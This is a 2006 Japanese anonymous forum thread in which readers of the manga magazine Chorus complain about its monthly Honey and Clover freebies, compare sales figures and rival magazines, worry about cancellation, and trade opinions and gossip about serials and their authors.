1 :
花と名無しさん :
2006/07/03(月) 12:05:23 ID:???0
2 :
花と名無しさん :2006/07/03(月) 12:10:05 ID:???0
3 :
花と名無しさん :2006/07/03(月) 12:10:38 ID:???0
4 :
花と名無しさん :2006/07/03(月) 12:10:55 ID:???0
5 :
4 :2006/07/03(月) 12:11:26 ID:???0
ごめん、かぶった。すみません・・・・
6 :
花と名無しさん :2006/07/03(月) 12:13:33 ID:???0
7 :
花と名無しさん :2006/07/03(月) 12:14:08 ID:???0
8 :
花と名無しさん :2006/07/03(月) 12:14:26 ID:???0
>5 気にしない。前スレが慌しかったから… 作家関連のスレどなたか宜しくお願いします。
9 :
花と名無しさん :2006/07/03(月) 12:16:36 ID:???0
桜沢さん、落ちてる?
みなさん乙です。
同じくみなさん乙です〜
あと公式HPにあるメンバーでいくと 伊藤理佐さんときらさんのスレがあるんだけど 入れます?
次スレから900踏んだ辺りから、貼って欲しい作家のスレを誘導して欲しい。 最近の作家の変動を考えると全部探して貼るのは大変なんじゃないかと… 偉そうにごめんなさい。
スレ立てお疲れです。 前スレからの流れだけど、この毎月付録攻撃っていうのがたまらん。 旧コーラスの時は覚えてるだけで一回しかなかったぞ(化粧ポーチ) あの時もスレで非難轟々だったような…ハチクロのキャラは付録にはしやすいと思うけど 毎月はやめて…ウミノクマ?かわいくないです…
>13 とりあえず入れときましょう。公式にあるならば。
ウミノクマはハチクロキャラではありません。 作者キャラです。 つーか公私混同じゃないの?
っつか、この調子で 公式HPに載ってなくても一度でも掲載された人をあげてくと ものすごい数の関連スレが・・・
24 :
20 :2006/07/03(月) 12:40:04 ID:???0
>>22 ご指摘ありがとう。チェックしてたのでセーフでしたw
まだまだ皆さん乙ですノシ
>>23 そーなんだけど前スレでも誰々がいないと指摘されたからねー難しい・・・
まだ定着してない作家スレは貼らなくていいんじゃないの?
>>26 まぁ、載せてだめってこともないだろうし
次回はもっと早くに準備しましょう。
・・・・とスレ立て出来なかった戦犯の前スレ990の自分が言ってみる。ごみん。
>>1 乙です
いつも思うんだけど、スレ建つまでちょっとレス止めた方がいいような…
なぜだか毎回スレが建つ時に盛り上がっててスレの勢いがいい
>>16 そですね、毎号付録になってから、ん?って感じのベテランや中堅による短編や中編がふえてきて
ぐちゃぐちゃな内容になってきた。
突発的に載るシリーズものより
毎号連載の作品を充実させて欲しい。
ロングランと、6ヶ月から1年位で終わるような、二本立てで。
スレ乙です。 前スレの話の続きだけど 作家を育てようとしてたって話、 小栗さんと細川さんの実力を引き出せずに 他の雑誌編集者が開花させたってこともあったね。
前スレ >> 999 > ハチクロ付録じゃなくても、ギャグ漫画キャラのメモ帳?とか > 小学生じゃあるまいし的な付録も、痛かった。 > 編集が、アンケで人気がある作品なら付録がうけると勘違いしたんだね。 > んだけど、出版社にとっては、単行本の売り上げで食ってるんだから、 > 単行本が売れる作家の雑誌掲載を優先すればいいんだよ。 > ハチクロや御大はまあその意味でははずせないだろうけど、 > ベテラン作家に短編描かせるような無駄は省いて欲しいね。 禿同
>>30 同意。
なんとか次スレが誰でも立てやすいように出来るといいね。
こんなにスレの勢いがいいのはコーラスがいかに不安定であるかの証明。
読者の怒りが(とまどい?)スレの勢いに反映している。
でもコーラスの売り上げがupしているのなら、負け犬の遠吠えでしかないのか…orz
文教堂調べ 1 (1) 0613906 ちゃお 小学館 20060501 13569 2 (2) 0103306 なかよし 講談社 20060501 4348 3 (3) 0920507 La・La 白泉社 20060524 3143 4 (4) 0103906 りぼん 集英社 20060501 3000 5 (5) 0326707 Cookie 集英社 20060526 2195 6 (6) 0834906 別冊マ−ガレット 集英社 20060513 2172 7 (7) 1377507 コーラス 集英社 20060527 1954 売れているほうなようだ
>>36 いちばん右の数値が実売数量の参考になるということですか?
あとすみませんが
できたらこの際、YOU、Office You、Kiss、エレガンスイブなどの、
読者年代がかぶる女性漫画雑誌について知りたい。
載っていそうなURLでもいいです。
>>36 女向けの月刊誌?
だとしたら下はフレンドくらい?
YYから読者流れてきてるんだから 何割か増えてるのがデフォなんだよね・・・ しかも今ハチクロクライマックスで引っ張ってる特殊な状況だし。 そのキャンペーンが終わった後が問題だよ。
また視点ズレまくった凄いの連れてきそうな悪寒
ちゃおスゲーナ
りなちゃが3位まで独占だと思ってたのにLaLaがりぼんより売れてんのか 集英社ヤバス
>>40 つまりハチクロクライマックスで引っ張ってる今現在は
耐え忍んで、数ヶ月後を待つっきゃない?
映画が終わればまあ少しは下火になる、
その頃にアンケートなんかに書いてみるほうがいいのかな?
LALAはホスト部アニメ化効果だろうね。 ハチクロもアニメファンには好評だしその影響はあるか。
LALAはターゲットの層をしっかり押さえてる印象がある。 なんだかんだ移り変わっても看板の作品は面白いし。 コーラスはそれが不安定なんだよね。
48 :
花と名無しさん :2006/07/03(月) 14:42:26 ID:wh33XD0l0
読者がどんな漫画を望んでいるか、何かの形で表さないと編集部はわかってくれない。
最初の頃のコーラスってすごい面白かったな。 編集と漫画家が一丸となって「頑張るぞ!」って 意気込みが見えたというか。
あの日生まれた子が今はもう小学6年生か… 中学に上がり、不良娘に育っていく様を見るようだ。
リニューアルに向けて一度、無理矢理連載を終らせた 時があったじゃない? あれからガタガタが酷くなった気もする。
初期コーラスは読んだことないけどすごかったようだね。 あれから12年つうより、時代が変わったので昔のやり方は通用しない事のが多いだろう。 ベテラン勢をみれば 御大も以前のようなテンポよく進むラブストーリーや丁寧な絵は書かなくなったし、 宮脇先生もくらもち先生も作品書くペースを落としたし。 中堅作家というかキャリア長い人は、 作風やテーマが個性的になった人もいる反面、絵やストーリーがしょぼくなった人たちもいる。 比較的キャリアが浅い人たちも中堅に準じたような・・・好き嫌いが分かれやすいような気がする。 いま思い当たったけど、コーラスは現代劇がほとんどなんだよね。 いや集英社の少女〜女性向け漫画雑誌がだいたいそうなんだ。 白泉小学館に多い時代物やSFファンタジー物、講談社系に多い実用物や特殊業界物もあまり見ない。 宮脇先生は元々心理サスペンスとか大正時代とか多かったけど。
コーラス編集部は
ハチクロをさっさと終わらせるほうがいいと気づいているだろう。
付録をつけるなら、単行本につければいい。
◆◇今月のヤングユー・R15◇◆
ttp://comic6.2ch.net/test/read.cgi/gcomic/1122300739/より > 893 名前: 花と名無しさん 2005/10/09(日) 14:58:15 ID:???0
> >> 885
> 面白くなくなったYYが傾いたので、
> ハチクロに頼り切ったものの、
> ハチクロ信者はコミックスしか買わず、
> 逆に面白くなくても耐えて読んでいた読者に不評を買い、
> そのことがむしろ廃刊の方向に加速をつけ、
> そしてアボーンか。
>
> 894 名前: 花と名無しさん 2005/10/09(日) 14:58:42 ID:???0
> ハチクロ否定派ですら、YYの廃刊を「ハチクロが言うほど
> 売れなかったせい」にしたがる=他の漫画家には最初から
> 期待すらしていないってところが何ともね……。
>
> 895 名前: 花と名無しさん 2005/10/09(日) 14:59:29 ID:???0
> >> 893
> だろうね、うちの会社のハチクロ信者(男)なんて
> ハチクロが何の雑誌に連載しているかすら知らなかった
>>52 あったあった。
ニコニコ日記なんて全然違う話になって終わったよね。
絶対、ニコの父親って最初の設定と違うはず。
YYがつぶれた原因にハチクロが絡んでるか絡んでないかは別として、 本当はYYのほうがコーラスよりも売れてたけど、 コーラスは御大がいるからYYを潰してコーラスを生き残らせた。 ・・・と吸収合併当時のこのスレやYYスレで言われてたよ。 実際当時の発行部数だか売上部数だかを見たらYYのほうが上だった気がする。
>>36 別マとそんなに売り上げ変わらないのにびっくり。
・・・でも、コミックスの売り上げに期待できるのがハチクロだけのコーラスと違って
別マはコミックスかなり売れてるもんね。
雑誌の売り上げだけ伸ばしたって
コミックスの収益も合わせたらものすごい差だろうな。
1さん乙!
>>53 現代劇しか興味ないな。
自分は、ミステリーや時代物やSFファンタジーなら小説で読みたい。
業界モノは、取材キッチリ・リサーチガッツリなら歓迎ですが。。。
御大のプライドの音楽業界の描き方見る限り、中途半端になりそう。
>>54 聖さん入ってるよ
>>6 >>58 そうなんだよね。コミックスが売れないと・・
買って即ブクオフ逝きでも利益になるんだから
ある意味話題性があれば数字が出る。
あとは最初の掴みとかね。
最初数刊買ってしまうととりあえず惰性で買い続けるから。
ここいら辺がポイントだろうね。
漫画としての作品の質を向上させるより
映画・ドラマ・アニメ化になんとかこぎ付けて(それを狙った作品作りを推奨)
話題を作る方が利益が上がる仕組みなんだよ、今は。
61 :
花と名無しさん :2006/07/03(月) 21:23:03 ID:/jzQ1DEP0
ブックオフにこむぎの人の短編集があったから読んでみた ストーリーはちょっと暗かったけどまあまあだったし、絵柄がかわいいし丁寧だった いつ頃からストーリー物書くのやめちゃったの? 昔の評判はどんなんだったんだろう?
>56 ニコニコ父って、最初はどんな設定だったの? どっちかというとNHKのドラマ化で漫画より先にドラマが進んで 小沢さんも無理やり纏めたように思えたけど。 自分はドラマ先に見たので違和感ない着地でした。
>>61 特に悪評はなかったよ。
ほのぼのかしんみりのどちらかだけど、私は好きだったな。
こむぎ書きつつ、他のも描いてくれると思って思って早…年。
8月号やっと買ったんだけど…
漫喫行ったので、ハチクロ読んでみたけど、絵が好みじゃなくて
話が頭に入らず挫折したから、今わけわからなくても仕方ないんだろうけど
クローバーの番外になるともうお手上げ。
あれは一体何なんでしょうか???いい年の私にはハードル高すぎました。
みんなのレス読むと、ハチクロ連載終了までは
立ち読みで済ませた方がいいみたいですね。
ハチクロ映画、余りヒットしなさそうだけど、 映画終わって連載終わったら、コーラス終焉になりそう。
_________ _________|_ | _____ ∧_∧|_  ̄| _____ (∀` )_|_  ̄| __ と ハチクロ つ_|_  ̄| __< <ヽ |______|_ ←コーラス  ̄| _(_)_γヽ______|_ ←ヤングユー  ̄| ___(__ノ______|_ ←CUTiE つぎの休刊ターゲットはコーラスです。
>>16 すごくどうでもいい亀だけど、
コーラスの付録でおんぷちゃんのマグネットってのもなかったっけ?
他のキャラクターと勘違いしてるかも知れないけど
一条御大スレに書き込んだこととかぶりますが 「プライド」連載終了、「ハチクロ」連載終了。 どっちが早そうですか? YY読んでなくて ハチクロ何となく今までの話がよく分からず (こぎつねはあらすじ相関図が詳しかったからすぐ入っていけたけど)、 単行本でまとめ読みする機会が来るまでは、と、ハチクロ読み飛ばしているのです。 すみませんファンの人。 プライドは、あと数回でケリがつかなければ、ちんたらと続くかもって感じがします 御大いきあたりばったりでストーリー作ってるし、いつ畳まれても不思議じゃないような、 伸ばそうと思えば更に伸ばせそうな・・・ ハチクロは、どうですか? 今年中に終わりそうな気配はあるのでしょうか?
>67 御大スレ読んでないけど、自分はハチクロクライマックスで 秋には終わると思ってる。 プライドは、ちんたら後最低1年はやるでしょうね。 収拾つかなくなってきてるね。何がプライドなんだろ?!
現状とりあえず売れてるものをすぐ終わらせるのかな? まあ作者しだいじゃないの 御大は終わらせても次の連載もそこそこうまくいくだろうけど、ハチクロの人はわかんないもんね…
>>63 dくす
私の読んだのはしんみり系だったらしい
ほのぼの系のも読んでみたい
いつかストーリー物も復活すると期待して待ってようっと
ハチクロの人は次回作がもう決まってて 青年誌で将棋漫画をやるってきいた事あるけどガセ?
なんにしてもコーラスにはもう来なくてよし >ハチクロの人
>71 あの絵柄で将棋?!?!
ハチクロ映画では修とはぐは叔父と姪の関係らしい 新規読者くるかな?
ハチクロは7月に9巻がでて10巻に収まる程度で最終回かと思うので (少なくとも本編は。番外編とかになるとわからないな。 かなりの好待遇うけてるから番外編だけで一冊出しかねない。) 多分今年中にはおわるんでないかと。 アニメ、映画のDVD発売まで引っ張るかな…?
ハチクロのアニメの本?みたいなのも出てるんだね。今日本屋で見かけた。 ハチクロって、もうラストは考えてあるってどこかで読んだけど 集英社にとって、大きく引き離されているとはいえNANAに次ぐドル箱だから 簡単には連載終わらせてあげないのかな。 そのせいで余計迷走しているように見える。
ハチクロ毎号クライマックスって煽ってていつ終わるんだよ コーラスのコミックってどこの本屋見ても ハチクロ以外、種類も在庫も少ないから探すの大変だ
>>77 コーラスのコミックは本当にないよね。
廃刊前のYYもそんな感じ。
>廃刊前のYYもそんな感じ。 コーラスもヤバいのか・・・
またひとつ読む雑誌が無くなるのか(´・ω・`) ハチクロ終了とともにコーラスあぼんさせる気か?
コーラス以外に女性ヤング誌ってある? 廃刊になんてなった日にゃあ…
YOUを2分割して古くさすぎる作家は別に分けたらいい
廃刊1年前くらいのYYのコミックって、割と漫画が 多い本屋さんに行っても、全10巻なら1,2,5,8、みたいな 並びしかなくて、amazonで買うか古本屋巡りをするか… みたいな状態だった。 それか「今連載中なのに?」って作家のコミックが 置いてなかったりとか。 言えば取り寄せてくれるのは分かってるんだけど。 今のコーラスも、間の巻が抜けてたり、ちょっと前の連載作品が 置いてなかったり、作家ごとなかったり…と、とにかく スペースが切り詰められている印象。
>>83 単行本が置いてないのは売れないからだよ。
某漫画の復活を保存する為に、ワンモアキスとかいう雑誌を買ったら
そのだつくしが載ってて驚いた。
雑誌自体も値段分程度には楽しめたので、次からも買う予定。
この雑誌が平気なら、ひょっとしてYOUも平気かな?
次号から試してみようかなと思案中。
描く方も読む方も年を取るんだし、いつまでも昔のコーラスを思い出して
しがみついていても仕方ないんじゃないかと思いつつある今日この頃。
確かに。食わず嫌いしてないで他の雑誌も目を通すべきかも 廃刊になったときのダメージ少なくて済む
>>84 くにたち物語ですな。
ワンモアKissなのにKissじゃなくてなぜYOU?
>>86 コーラスよりもKissよりも、対象年齢がワンモアkissに近いかなと思ったので<YOU
集英社1年で3冊も廃刊したらマジで凄いな
私はこれを機に漫画雑誌は止めるかもなあ ずっと前からぶ〜けとYYとコーラスの3誌を買い続けてたんだけど、 別に自ら雑誌を減らしたつもりはないのになぜか今の購読誌はコーラス1誌のみ なんつかもう集英社の都合に翻弄されて疲れたよ・・・ ぶ〜けの時は初めて休刊に当たって相当ショック受けたし、 YYの時も2度目でややショックだったけど、 コーラスが休刊になってもやっぱりなとしか思わない気がする
>>89 自分も。
もともと気に入った作品はコミックで買ってるし。
コーラスが廃刊になったらそれで終わりかなとは
漠然とだけど思ってる。
でもできれば廃刊にならずに、今のスランプみたいな
状態を抜け出して欲しいけど。
前に本屋で集英社から出てたコミックを取り寄せてもらおうと 店員さんに言ったら、集英社の古いコミックはなかなか在庫も メーカーにないから客注は受けてないって言われた事があるけど 陳列が少ないのも関係あんのかね?
単純に売上UP目指すなら映像化が一番では? コーラスも御大・ハチクロ以外にドラマ化狙った作品があるといいのにね。 講談社とか最初から映像化視野に入れてる作品多いのに。
よ〜し吉住センセに
>>67 以前ウミノが吉本ばななとの対談で、「長くても今年中には終わる」
と言ってた。でもまだYYの時だったからコーラスに移ったことで事情が変わってるかも。
「雑誌が変わると新しい読者のために話を伸ばさないといけない」とも言ってたな。
YY廃刊時にすでにラストに向かってたのにコーラス読者のためにまたキャラの説明を描く
余分な話をくっつけるのは無理があったのかも。
>>94 雑誌が変わって新しい読者のためにキャラの説明話を入れなきゃいけないと思いつつ
すでにストーリーがクライマックス突入していたためできなかった
ということでいいのかな?
最悪、映画、アニメの公開終了ぐらいまで引っ張れるんだから
1話くらい説明入れる余裕あったと思うけどなぁ。
おかげで新規読者は単行本買わなきゃ全然話がわからなくなってしまった。
商売とはいえ編集もあざとい売り方するよ。
ハチクロは最初についてた登場人物の相関図を毎号載せて欲しいと思う (コーラスでの)新キャラが出てくるたびに訳分からん状態に
ハチクロってなんか自分は絵だけ見てる感じ。コーラスで中途から読み始めたのでよく把握できないし 目がすべるし。
人物相関図を見てもよく解らなかったコーラス移籍第一作… あらすじも当時のストーリーの進行状態とは微妙にズレてたし…
ハチクロなんて毎号スルーしている私です。
>>98 しかもその人物相関図、ミスプリントがあったんだよね。
私は移籍前知らないからどこかわかんないけど
誰かの顔と名前が違ったとか・・・。
コーラスに来る前のハチクロ知らなくて相関図をじっくり見たら 顔の区別が付かなくて「???」って感じのがあったような… 1つの顔の絵で、2種類名前があてがわれてたんだっけ? 修だったかどうか。
>>101 修だとおもた
その間違われる程度の男が今まさに主役に躍り出てるわけで・・・
>92-93 コーラスの映像化って、ゴールデン民放って 昔の槙村作品しかないよね。講談社との違いは編集の営業戦略ですかね? 御大昼ドラはあったけど。。。
つニコニコ日記
あれ、ニコニコってNHKだし、ゴールデンタイムじゃないよね? 地味な放映だったよ。自分はドラマ大好きだったけど。
ハナコさんもNHKだっけ?
YYのスイートデリバリーはゴールデンだったっけ。
スイートデリバリーあれって原案じゃない? 全然別物だから原作じゃないと思ふ。 しかもドラマ大コケだった。。。
死ぬほどくだらなかったのが もんでんさんの太陽と月〜の昼ドラだった。 2回で見るの辞めた。
映像化することが目的の作品作りて・・・ 漫画のよさはどこにあるのさ、って感じだ。 編集こそそういう部分を大事に商売すべきだろうに。
宮脇さんのもあったよ 保険医のおばさんだっけか あれーYYだったかな
同意。 柴門ふみみたいに単なるドラマのシナリオを 絵入りでやってるみたいなマンガなんて読みたくない マンガならではの表現を大事にして欲しい ドラマを意識した漫画なんて最悪
どうでもいいが、小沢さん、フラワーズの読みきりのほうが 力入れていたよね。連載なら手抜きでいいのかと小一時間(ry しかも今号は萩尾さん、吉田さんが両方載っているというのが… たまちゃんと野比の連載終わったらフラワーズだけ買うかも…
>>109 ドラマだけじゃなくて原作もつまんなかったしw
つまらないというか、主人公が眼鏡の男の方に情がわいてくっついた時点でコミックス売った あれはひどかった>もんでん太陽
もんでん好きだが太陽〜は苦手だった。 早めに連載が終了してほっとした。 万プクがアニメになれば売り上げが・・・無理だけど。
万福児ってキモイだけじゃんと思う自分はまだガキなのか…
吉住さんの絵をキレイと思う私ですが、 万福寺の奥さんも、同様にキレイだなと思います。 特に今月号の、赤ちゃん時代の奥さんはキレイだった。 目が魅力的。
マンプクって血縁者の顔が微妙に似てるところが巧いと思う
激しくどうでもいいことだな
>110 映像化オファーが殺到するような面白い作品なら歓迎だな。 目的は手段を正当化するわけで。 個人的には、動物のお医者さん、のだめ みたいな作品の連載希望。 話で読ませる作品っていうのかな。
自分のだめって何が面白いのかわからなry
のだめだったらハチクロの方が全然面白いなぁ。 のだめはただただムカつくだけだけど、はぐやあゆに対してはほっこり系母目線になれる。
動物のお医者さん、とか、職業モノ欲しいよね。 プライドも職業というか、クラシック業界モノだったんだけど。。。
ハチクロ特有の「ほっこり」とか「しょっぱい」とか その言葉がキモイ
>>126 落語家さんの連載はよく出来てるからそれで我慢
スレチゴメンけど
逢坂さんが他誌(青年誌?)で連載してた女性消防士の話は
すごくきちんと下調べしてたっぽい。
話で読ますって感じじゃないけど、職業ものなら 白衣でポンもYY移籍組に入れればよかったのになあ あれなら途中からの人でも全然馴染めただろうし 自分はのだめハチクロ比較ならのだめ派だな ハチクロがストーリーが迷走しすぎでいらいらいらいら ようやく本筋に戻ったと思えば父親代わりの修に嫌悪感
スレ違いだけど、のだめってはぐ以上に頭の足りない子で見ててキモい。
頭の発達も身体の発育も両方足りてないハチクロのほうが遙にキモイよ
へー 年代高めと思われるコーラスでもハチクロ人気高いんだね ハチクロは当初はよかったけど今では雰囲気漫画って感じ ストーリー追うならのだめの方が面白いと思うけど ま、人それぞれだよね
私ものだめかハチクロって言ったらのだめの方がいいかな。ギャグがツボなんだよね、のだめは。 ハチクロのギャグはわざとらしいというか、ノリが苦手で。 てへ☆(舌出し)とかウインク☆とかダメだ…キャラ達にも愛着が沸かないし… でもカラーはとても素敵で好きだなあ。好みの問題だね。
>>132 ええー、高いのか?
どっちかというと、要らない派の方が多い気がするけど。
>>133 同意。
のだめは好きな作品ではないけど、ハチクロよりは読みたいと思う。
で、カラーがとても素敵という点も同意。
サムライ母さんは、最初激しくウザかったんだけど、 読むにつれ、それなりに好きになってきた。 ハチクロは、最初から読んでたら印象が変わってた可能性もあるけど、 なんというか激しくウザイというよりも、普通に興味をもてない。 だから多分、途中参加に原因があるんじゃないだろうと思ってる。
>>132 どちらかというとイラネの人が多いと思う
でも今は本スレではマンセー意見書いたら袋にされそうな勢いだから
ここで書きたいのかもね
私はハチクロ嫌いだけど、ちょっとかわいそうだ
コーラスでしかハチクロ読んだ事なくて今まで全く訳分からんちんだったが 今月は初めてちょっことだけ面白かったかもしれない、正直な所 でも基本的にはやっぱりいらない漫画
同じくハチクロはいらないに賛成 読まないから毎月紙面がもったいないなーと思っている。 さらに付録で倒れました・・・
www>倒れる ハチクロ作家のカラーがきれいなのは認めるし、素敵だなって思うけど、 かといって、あのカラーを活かせるデザインのグッズは、 何であれ欲しくない。 現コーラスの中で、キャラだけ見るとこむぎが一番好きだけど、 それでもデザイングッズは欲しくない。
>>135 >サムライ母さんは、最初激しくウザかったんだけど、
>読むにつれ、それなりに好きになってきた。
私は逆。最初好きで、ホロリとしたりもしてたんだけど
毎回毎回、母愛がウザくなってきた。
それ以上に一人ボケツッコミがうざい。
極め付きに今月号のビキニ…ドン引きした…
ハチクロは正直かなり好きだ。 今の展開には頭を抱えた組だけど、今回の山田と真山や野宮の会話で 「はぐの中に修への恋愛感情がある訳ではない」ってのが保証されたから ちょっと溜飲下がったし。 でもここや本スレで今ちょっとでもハチクロを褒めると 袋叩きに遭いそうなので、2chでは擁護意見は封印してる。 こういう人は何だかんだいって結構いるんじゃないかと思う。
まあハチクロに限らず、吉住やチヤトリを面白いと思った人もいるだろうし、 逆にくらもちをつまらないと思う人もいるけどここでは控えてるんでしょうね。
>>141 別に袋叩きにされるとかないんじゃない?
書き方によるでしょう、どんな意見でもさ
私も今の展開嫌いじゃないよ>ハチクロ
修ちゃんも真山にはまだまだ及ばないよ、気持ち悪さじゃ。
いや、あるだろう……>袋叩き 書き方によるってのも、夜道でレイプされた女に言う「隙があった」と同じで、 言ったもん勝ちだからね
書きたいことがあるなら遠慮なく書けばいいさ な!
つーか誰しも、賛同者が全く出てこない(であろう)ところで、 「YY読んでなかった人には訳わからんだろうとは思うんですけどー」とか 「つまらないっていう人の気持ちもわかるんですけどー」とか 低姿勢に出てまで擁護レスしたくはないだろう。
そだねえ…自分も実はもんでん大好きで、アイスエイジマンセーなんだけど もんでんスレに好意的な意見書き込めないもんなあ。 だからスレ自体にもずっといってないし。
引越し後途中から組としては、修ちゃんとか真山や誰かが気持ち悪いとか そういうのすらわかんないんだよね。 キャラが全然見えない。 正直、親戚(これが修ちゃんか)とチビっ子の本命と思われていた人(名前失念) 以外の男キャラって、全然わかんない・・・
流れに逆らうのは難しいやね…
>>147 自分もアイスエイジ好きノシ
乾先生とミカ可愛い(*´ω`*)
>>148 映画では竹本をジャニ桜井がやるんだよ
覚えてやってw
今日購入したのでスレの流れを遮断してしまいますが、 吉住の終わり方に唖然・・・・ 幼なじみの女の子が嘘の手紙を。って、 そんな手垢にまみれたオチを堂々と使ってあっさり終了とは、 すごい馬鹿にされたような感じ。 そして同じく馬鹿にされたような感じの「クローバー」 これも妊娠した子の父親が前カレと分かると、前カレと話し合うから良かった良かったって・・・・ ヤリマンだけど純情な女の子と野暮ったい男の子という古臭い設定がどうなるのかと 期待した私がバカだった・・・・ 消防士の話から好きだった「たまちゃんハウス」で癒されなかったら即座に買うのやめるところだった。 もうこんないい加減な内容の話をコーラスに載せないでほしい! こんな程度の話は消防が読む雑誌でいいよ!!
ハチクロ好きくらいで、袋叩きになんかされないでしょ。 くらもち嫌いって意見だって、何回か見たけどどうって事ない。 くらもち好きは、そういう人もいるんだね、程度にスルーしてるみたいだから。 苦しいのは、吉住の絵が綺麗って言い続ける事。 同意がいっそも無い上に、キチガイ扱い。
良かった・・・やっぱいるんだ、ハチクロ好き。 私もずっと好きだ。ストーリーは確かに迷走してる感ありなんだけど、 変わらないのは、表現に感情をゆさぶられる強度があるって感じ。 付録はいらないけどw 本スレには私も行ってないなぁ。 今月号出てから、何回か見にいこうとしたけど、スレあけようとすると ノートン先生が反応するので、バカらしく&面倒になって結局見てない。
>>152 くらもちが嫌いとかというのとはちょっと違う
くらもちファンは大人ってのもあるけど、
ハチクロの場合、何せ叩いてるのが元ファンだから
私はYYの頃からハチクロ嫌いだけど、
あの展開を見て元ファンがあれだけうみのを叩く気持ちも分かるし、
でも肯定的なレスをかけない現役ファンも可哀相に思う
>>151 その熱いご意見を、今すぐハガキに叩き付けて編集部へ!
>>152 「ハチクロが好き」「吉住が好き」なら別に叩かれないんじゃないの?
「吉住の絵が『綺麗』」というのは、
「ハチクロの今の展開は、綿密に練り上げられた構成のたまもの」
とかいうのと同じかなと思う。誰も言わないけどw
好みの問題じゃなく、世間の評価を待つべきところに独断を持ちこむと叩かれる。
>128-129 落語、確かに業界モノだけど。。。 白衣も職業モノだけど。。。 もっと下調べしてガッツリ読み応えのあるお話が読みたいです。 数ある連載の中で1作ぐらいそういう毛色のものがあってもいくないですか?
>>157 同意
青年誌なみのガッツリ業界モノを載せてもいいとおもう
今のコーラスって恋愛も何もかもが中途半端でスカスカな気がする。
>>142 吉住・チヤトリを面白いと思ったんなら素直にどこそこが面白かったって
書けばいいと思うよ
そういう比較的な物言いせずにw
ここで本スレにマンセー書けねーとか愚痴ってんなら 本スレで堂々と自分の意見書けよ。 同意してほしーんだろーがうぜぇよ
おまえがうざいよ
これまでコミックス集めてた人らがほぼいっせいにブクオフへ売りに逝く程の祭りになったから そりゃ信者は肩身狭いんだろうなw
「好意的な意見を書いただけで信者扱い」している一部のアンチがうざい。 好みは人それぞれだろうに。
全てはあんな展開を描いた羽海野が悪い そうすりゃ本スレでは信者同士楽しく妄想し合って、 このスレでは信者ウザいくらいのレスで済んだんだよ
>>157 白衣でポンは作者が元ナースだからリアル感だけはすごいと思うけど
でもまあ言いたいことは分かる
軽妙なものじゃなくて真に迫った大作が読みたいんだよね?
バレエものでいうとアラベスクとかスワンみたいな
そこで以前、一条ゆかり爺の連載に皆さん期待したわけですよ。 それまでの爺の作品の傾向を忘れてw
久々にスポ根物読みたいがコーラスにはあわないか
スワン好きだったな〜。今、続編も描いてるけどいいね。 コーラスだとスポコン系はないし(流行らないからだろうけど) 大作とかはおいといて、今は御大が長期連載のだけだし じっくり読むマンガがコーラスになくなってしまった。
169 :
花と名無しさん :2006/07/06(木) 22:38:10 ID:+dACRWIA0
ハチクロ好きですよ。 YY時代から読んでます。 最近の展開はちょっと微妙だけど、 ブコフへ逝ってやると思うほどの入れ込みが最初からないな。
>>167 スポコンはあんまり読みたくないなー
ぶっ飛んだ内容ならちょっとは興味が湧くかもしれんが・・・
ママさんバレーとか
うーんハチクロは1巻の最初で挫折してもうた。
のだめが大好きなんでちょっと似てると聞いて漫画喫茶で読んだけど、ついていけなかった。
羽海野さんは同人時代に好きだった作家さんなんだけど、ハチクロはちょい画面ゴチャゴチャしすぎかな。
昔はそれがファンシー&メルヘンで好かれたけど、それが悪い方向に出ちゃって、
おしゃれだけど読みにくい。ノンビリ流れるような詩的な画面と作風は好みだったのにな。
風景カラーの素晴らしさは当時から感動ものだったよ。
しかしデビュー寸前まで同人活動していて、
その同人パロの商業出版のアンソロジー本も数冊、表紙までこのPNで描いていたのに、
その漫画の出版元の集英社で! PNもそのままでデビューするなんて、
ある意味すごい度胸があるなと思った。まさかこんな有名になれると思わなかったのかな。
原作者本人に『今人気のハチクロ?あっこのPNは確か何かで見たぞ』と気づかれるでしょうに。
昔「ADULT ONLY」と表紙に注意書きしたような18禁本も出してたのにヤバくないのかな。
↓参考にこれはホノボノ系だと思う初期の本二冊です。もう持ってないのでオク画面。
ttp://page13.auctions.yahoo.co.jp/jp/auction/r26156378 ttp://page5.auctions.yahoo.co.jp/jp/auction/e55794812
キンモーー
↑あー、一条先生を呼び捨てにしちゃったわ。失礼しました。 有閑倶楽部は昔メチャクチャ大好きだったのに、いけないいけないwスマソ
やおい同人からPNそのままで商業誌デビューって凄いね。 BL商業誌なら良かったんだろうけど。 でもあさぎり夕とか、他にも少女漫画描いてた作家さんも 同じPNで今BL商業誌に描いてるし・・・ けっこう趣向の違いだけど複雑だわ
集英社は何だかんだ言って金になる作家には寛大でしょ。 尾崎南が許されるんだから。 ウミノ河原なんてかわいいもんだ。
エロシーン描いてたらポルノに片足突っ込んでるわけだし引くわw プラトニックならOK
>>165-168 >軽妙なものじゃなくて真に迫った大作
そこまで大層なモノじゃなくても、ストーリーで引っ張るような
漫画があるといいな。おたんこナースみたいなの、誰か書かないかな。
ところで、スワン、まだ続いてるの?
聖真須美とレオン、結婚してその子の話とか?パラレル?
バレエものでいうとアラベスクとかスワンみたいな
166 名前:花と名無しさん 投稿日:2006/07/06(木) 22:19:21 ID:???0
そこで以前、一条ゆかり爺の連載に皆さん期待したわけですよ。
それまでの爺の作品の傾向を忘れてw
167 名前:花と名無しさん 投稿日:2006/07/06(木) 22:19:39 ID:???0
久々にスポ根物読みたいがコーラスにはあわないか
168 名前:花と名無しさん 投稿日:2006/07/06(木) 22:22:58 ID:???0
スワン好きだったな〜。今、続編も描いてるけどいいね。
コーラスだとスポコン系はないし(流行らないからだろうけど)
大作とかはおいといて、今は御大が長期連載のだけだし
じっくり読むマンガがコーラスになくなってしまった。
オク画面まで貼って知ったかぶってる人キモイよ
いちいちスラッシュで検索よけやってるのが 厨臭くてたまらない・・・キモい… 検索避ける必要のある文でもなんでもないだろうに
>>183 そう?
結構興味ひく話題だった。
ハチクロ自体には興味ないし、イマイチ意味分からないとこもあったんだけど。
BL商業誌とか。
アンソロって何だ?? しかし同人って儲けも出るの? 大した儲けも出ないのに作品を描きたいなんて、 羨ましいわなんか。 すごい情熱だ。
>>180 平凡社から季刊誌でスワンマガジンって出てて、
それに続編連載中だよ。真澄とレオンの娘の話だけど
二人も出てるから好きだった人にはお勧め。
>>179 が、YYで描いてた坂井さんを知っだらどう思うのか気になる。
坂井さんってコーラスにいる?
いない、YOUに行った。 どちらかと言うとコーラス向きだと思うんだけどな。
